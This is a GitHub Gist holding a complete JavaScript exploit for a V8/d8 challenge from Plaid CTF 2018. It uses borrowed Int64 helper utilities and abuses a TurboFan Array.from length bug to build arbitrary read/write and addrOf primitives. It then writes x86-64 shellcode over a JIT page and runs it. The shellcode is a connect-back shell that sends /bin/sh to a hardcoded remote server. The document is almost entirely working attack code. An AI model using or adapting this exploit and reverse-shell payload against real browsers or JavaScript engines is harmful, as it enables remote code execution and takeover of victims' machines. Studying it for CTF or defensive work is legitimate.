-
-
Save zznop/ffb06ab9243213071759c244432369c0 to your computer and use it in GitHub Desktop.
Plaid CTF 2018 d8 exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Plaid CTF 2018 v8 Exploit. Exploit begins around line 240 */ | |
/* ### Utils, thanks saelo ### */ | |
// | |
// Tiny module that provides big (64bit) integers. | |
// | |
// Copyright (c) 2016 Samuel Groß | |
// | |
// Requires utils.js | |
// | |
// Datatype to represent 64-bit integers. | |
// | |
// Internally, the integer is stored as a Uint8Array in little endian byte order. | |
function Int64(v) { | |
// The underlying byte array. | |
var bytes = new Uint8Array(8); | |
switch (typeof v) { | |
case 'number': | |
v = '0x' + Math.floor(v).toString(16); | |
case 'string': | |
if (v.startsWith('0x')) | |
v = v.substr(2); | |
if (v.length % 2 == 1) | |
v = '0' + v; | |
var bigEndian = unhexlify(v, 8); | |
bytes.set(Array.from(bigEndian).reverse()); | |
break; | |
case 'object': | |
if (v instanceof Int64) { | |
bytes.set(v.bytes()); | |
} else { | |
if (v.length != 8) | |
throw TypeError("Array must have excactly 8 elements."); | |
bytes.set(v); | |
} | |
break; | |
case 'undefined': | |
break; | |
default: | |
throw TypeError("Int64 constructor requires an argument."); | |
} | |
// Return a double whith the same underlying bit representation. | |
this.asDouble = function() { | |
// Check for NaN | |
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) | |
throw new RangeError("Integer can not be represented by a double"); | |
return Struct.unpack(Struct.float64, bytes); | |
}; | |
// Return a javascript value with the same underlying bit representation. | |
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) | |
// due to double conversion constraints. | |
this.asJSValue = function() { | |
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) | |
throw new RangeError("Integer can not be represented by a JSValue"); | |
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. | |
this.assignSub(this, 0x1000000000000); | |
var res = Struct.unpack(Struct.float64, bytes); | |
this.assignAdd(this, 0x1000000000000); | |
return res; | |
}; | |
// Return the underlying bytes of this number as array. | |
this.bytes = function() { | |
return Array.from(bytes); | |
}; | |
// Return the byte at the given index. | |
this.byteAt = function(i) { | |
return bytes[i]; | |
}; | |
// Return the value of this number as unsigned hex string. | |
this.toString = function() { | |
return '0x' + hexlify(Array.from(bytes).reverse()); | |
}; | |
// Basic arithmetic. | |
// These functions assign the result of the computation to their 'this' object. | |
// Decorator for Int64 instance operations. Takes care | |
// of converting arguments to Int64 instances if required. | |
function operation(f, nargs) { | |
return function() { | |
if (arguments.length != nargs) | |
throw Error("Not enough arguments for function " + f.name); | |
for (var i = 0; i < arguments.length; i++) | |
if (!(arguments[i] instanceof Int64)) | |
arguments[i] = new Int64(arguments[i]); | |
return f.apply(this, arguments); | |
}; | |
} | |
// this = -n (two's complement) | |
this.assignNeg = operation(function neg(n) { | |
for (var i = 0; i < 8; i++) | |
bytes[i] = ~n.byteAt(i); | |
return this.assignAdd(this, Int64.One); | |
}, 1); | |
// this = a + b | |
this.assignAdd = operation(function add(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) + b.byteAt(i) + carry; | |
carry = cur > 0xff | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
// this = a - b | |
this.assignSub = operation(function sub(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) - b.byteAt(i) - carry; | |
carry = cur < 0 | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
} | |
// Constructs a new Int64 instance with the same bit representation as the provided double. | |
Int64.fromDouble = function(d) { | |
var bytes = Struct.pack(Struct.float64, d); | |
return new Int64(bytes); | |
}; | |
// Convenience functions. These allocate a new Int64 to hold the result. | |
// Return -n (two's complement) | |
function Neg(n) { | |
return (new Int64()).assignNeg(n); | |
} | |
// Return a + b | |
function Add(a, b) { | |
return (new Int64()).assignAdd(a, b); | |
} | |
// Return a - b | |
function Sub(a, b) { | |
return (new Int64()).assignSub(a, b); | |
} | |
// Some commonly used numbers. | |
Int64.Zero = new Int64(0); | |
Int64.One = new Int64(1); | |
Int64.Eight = new Int64(8); | |
// That's all the arithmetic we need for exploiting WebKit.. :) | |
// | |
// Utility functions. | |
// | |
// Copyright (c) 2016 Samuel Groß | |
// | |
// Return the hexadecimal representation of the given byte. | |
function hex(b) { | |
return ('0' + b.toString(16)).substr(-2); | |
} | |
// Return the hexadecimal representation of the given byte array. | |
function hexlify(bytes) { | |
var res = []; | |
for (var i = 0; i < bytes.length; i++) | |
res.push(hex(bytes[i])); | |
return res.join(''); | |
} | |
// Return the binary data represented by the given hexdecimal string. | |
function unhexlify(hexstr) { | |
if (hexstr.length % 2 == 1) | |
throw new TypeError("Invalid hex string"); | |
var bytes = new Uint8Array(hexstr.length / 2); | |
for (var i = 0; i < hexstr.length; i += 2) | |
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); | |
return bytes; | |
} | |
function hexdump(data) { | |
if (typeof data.BYTES_PER_ELEMENT !== 'undefined') | |
data = Array.from(data); | |
var lines = []; | |
for (var i = 0; i < data.length; i += 16) { | |
var chunk = data.slice(i, i+16); | |
var parts = chunk.map(hex); | |
if (parts.length > 8) | |
parts.splice(8, 0, ' '); | |
lines.push(parts.join(' ')); | |
} | |
return lines.join('\n'); | |
} | |
// Simplified version of the similarly named python module. | |
var Struct = (function() { | |
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations. | |
var buffer = new ArrayBuffer(8); | |
var byteView = new Uint8Array(buffer); | |
var uint32View = new Uint32Array(buffer); | |
var float64View = new Float64Array(buffer); | |
return { | |
pack: function(type, value) { | |
var view = type; // See below | |
view[0] = value; | |
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); | |
}, | |
unpack: function(type, bytes) { | |
if (bytes.length !== type.BYTES_PER_ELEMENT) | |
throw Error("Invalid bytearray"); | |
var view = type; // See below | |
byteView.set(bytes); | |
return view[0]; | |
}, | |
// Available types. | |
int8: byteView, | |
int32: uint32View, | |
float64: float64View | |
}; | |
})(); | |
/* #### Start Exploit #### */ | |
// Shellcode to run. In this case, a connect back shell to my server | |
var sc = []; | |
for (var i=0; i<0x100; i++) { | |
sc.push(0x90); | |
} | |
sc = sc.concat([0x48,0x31,0xc0,0x48,0x31,0xff,0x48,0x31,0xf6,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x6a,0x2,0x5f,0x6a,0x1,0x5e,0x6a,0x6,0x5a,0x6a,0x29,0x58,0xf,0x5,0x49,0x89,0xc0,0x48,0x31,0xf6,0x4d,0x31,0xd2,0x41,0x52,0xc6,0x4,0x24,0x2,0x66,0xc7,0x44,0x24,0x2,0x7a,0x69,0xc7,0x44,0x24,0x4,0x68,0x83,0xd5,0x43,0x48,0x89,0xe6,0x6a,0x10,0x5a,0x41,0x50,0x5f,0x6a,0x2a,0x58,0xf,0x5,0x48,0x31,0xf6,0x6a,0x3,0x5e,0x48,0xff,0xce,0x6a,0x21,0x58,0xf,0x5,0x75,0xf6,0x48,0x31,0xff,0x57,0x57,0x5e,0x5a,0x48,0xbf,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x48,0xc1,0xef,0x8,0x57,0x54,0x5f,0x6a,0x3b,0x58,0xf,0x5,]) | |
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } | |
function l(x) { | |
console.log(x); | |
} | |
// Some convenience typed arrays | |
conva = new ArrayBuffer(8); | |
convf = new Float64Array(conva); | |
convi = new Uint32Array(conva); | |
gc(); | |
gc(); | |
let oobArray = [1.1]; | |
let oobArray2 = []; | |
var save = Array(100); | |
// Trigger the bug | |
// https://github.com/v8/v8/commit/b5da57a06de8791693c248b7aafc734861a3785d | |
// This bug is caused by turbofan doing SetLength after the end of the iterator. | |
// The code checks if the current array size, so setting oobArray.length will cause | |
// the length to not match the FixedArray holding the elements. | |
let getOOB = function(oobArray, l) { | |
let maxSize = 1028 * 8; | |
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( | |
{ | |
counter : 0, | |
next() { | |
let result = this.counter++; | |
if (this.counter > maxSize) { | |
oobArray.length = l; | |
return {done: true}; | |
} else { | |
return {value: result, done: false}; | |
} | |
} | |
} | |
) }); | |
return oobArray; | |
} | |
// Create an OOB Float array, with length 1. We don't want 0, because that will | |
// give use a zero sized fixed array far away from our data. | |
oobArray = getOOB([1.1], 1); | |
// Generate some jsarrays and typed arrays to corrupt | |
for (let j = 0; j<100; j++) { | |
if (j%2==0) { | |
save[j] = [0x41424346, 0x41424347, save]; | |
} else { | |
save[j] = (new ArrayBuffer(0x41)); | |
} | |
} | |
gc(); | |
gc(); | |
var index = null; | |
//%DebugPrint(oobArray); | |
//%DebugPrint(save); | |
// Look for the typed array index with our OOB read | |
var last = 0; | |
for (let i=0; i<oobArray.length; i++) { | |
let f = oobArray[i]; | |
convf[0] = f; | |
// Length SMI is 0x41 | |
if (convi[1] === 0x41) { | |
l('found typed array 0'); | |
l(i); | |
convi[1]= 0x8; // Modify the length so we can find which one we control | |
oobArray[i] = convf[0] | |
index = i; | |
break; | |
} | |
last = convf[0]; | |
} | |
// Find which typed array we control | |
var ca = null; | |
for (let i=0; i<100; i++) { | |
if (i%2 ==0) | |
continue; | |
if (save[i].byteLength != 0x41) { | |
l('found typed array 1'); | |
ca = save[i]; | |
break; | |
} | |
} | |
// Look for the JS Array with the OOB read | |
var jsindex = null; | |
for (let i=0; i<oobArray.length; i++) { | |
let f = oobArray[i]; | |
convf[0] = f; | |
// Check for elements in the array | |
if (convi[1] === 0x41424346) { | |
convf[0] = oobArray[i+1]; | |
if (convi[1] !== 0x41424347) { | |
continue; | |
} | |
convf[0] = oobArray[i+2]; | |
if (convi[1] === 0) { | |
continue; | |
} | |
l('found js array 0'); | |
l(i); | |
convi[0] = 0; | |
convi[1]= 0x51525354; // Modify the first element so we can detect it | |
oobArray[i] = convf[0] | |
jsindex = i; | |
break; | |
} | |
last = convf[0]; | |
} | |
// Find which JS Array we con control | |
var js = null; | |
for (let i=0; i<100; i++) { | |
if (i%2 !=0) | |
continue; | |
if (save[i][0] != 0x41424346) { | |
l('found js array 1'); | |
js = save[i]; | |
break; | |
} | |
} | |
if (index=== null || ca === null || js === null || jsindex === null) { | |
l('bad'); | |
} | |
// Create our primatives | |
prims = { | |
// Get a copy of the typed array with an arbitrary length and backing pointer | |
arb: (a, l) => { | |
convi[1]= l; | |
convi[0]= 0x0; | |
oobArray[index] = convf[0]; | |
oobArray[index+1] = a.asDouble(); | |
oobArray[index+2] = a.asDouble(); | |
return new Uint8Array(ca); | |
}, | |
// Read 64bits from a given address | |
read: (a) => { | |
convi[1]= 0x8; | |
convi[0]= 0x0; | |
oobArray[index] = convf[0]; | |
oobArray[index+1] = a.asDouble(); | |
oobArray[index+2] = a.asDouble(); | |
return new Int64(new Uint8Array(ca)); | |
}, | |
// Write 64bits to a given address | |
write: (a, v) => { | |
convi[1]= 0x8; | |
convi[0]= 0x0; | |
oobArray[index] = convf[0]; | |
oobArray[index+1] = a.asDouble(); | |
oobArray[index+2] = a.asDouble(); | |
var u8 = new Uint8Array(ca); | |
u8[0] = v.byteAt(0); | |
u8[1] = v.byteAt(1); | |
u8[2] = v.byteAt(2); | |
u8[3] = v.byteAt(3); | |
u8[4] = v.byteAt(4); | |
u8[5] = v.byteAt(5); | |
u8[6] = v.byteAt(6); | |
u8[7] = v.byteAt(7); | |
}, | |
// Get the address of an object | |
addrOf: (x) => { | |
js[0] = x; | |
return Int64.fromDouble(oobArray[jsindex]); | |
} | |
}; | |
/* | |
l('test addrof') | |
z = prims.addrOf(ca); | |
z = prims.read(z); | |
l(z); | |
*/ | |
// Create a jit function to leak the jit page from | |
jit = function(y) { | |
x = y[0]; | |
x = x+1*4+2*4+2+5; | |
y[0] = x; | |
} | |
for(let j=0; j<10000;j++) { | |
jit([1]); | |
jit([1]); | |
jit([1]); | |
} | |
// Leak the jit page | |
var jitAddrPtr = prims.addrOf(jit); | |
l(jitAddrPtr) | |
jitAddrPtr.assignSub(jitAddrPtr, Int64.One); | |
bad = {}; | |
// My offset seemed to not be right, so I manually searched for the jit pointer | |
var jitAddr = null; | |
for (let i=0; i<0x20; i++) { | |
// Grab the next value | |
jitAddrPtr.assignAdd(jitAddrPtr, Int64.Eight); | |
l(jitAddrPtr); | |
// Check upper bits to find jit page mapping | |
jitAddr = prims.read(jitAddrPtr); | |
k = jitAddr.byteAt(4)+(jitAddr.byteAt(5)<<8); | |
jitAddr.assignSub(jitAddr, Int64.One); | |
// Grab third mapping we see | |
if (!(k in bad)) { | |
if (Object.keys(bad).length === 2) { | |
break; | |
} | |
bad[k] = true; | |
} | |
} | |
z = prims.read(jitAddr); | |
l('jit read is '+z); | |
// Write our shellcode over the jitpage | |
var jb = prims.arb(jitAddr, 0x1000); | |
//jb.fill(0xcc); | |
jb.set(sc); | |
jit(); | |
while(1){} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment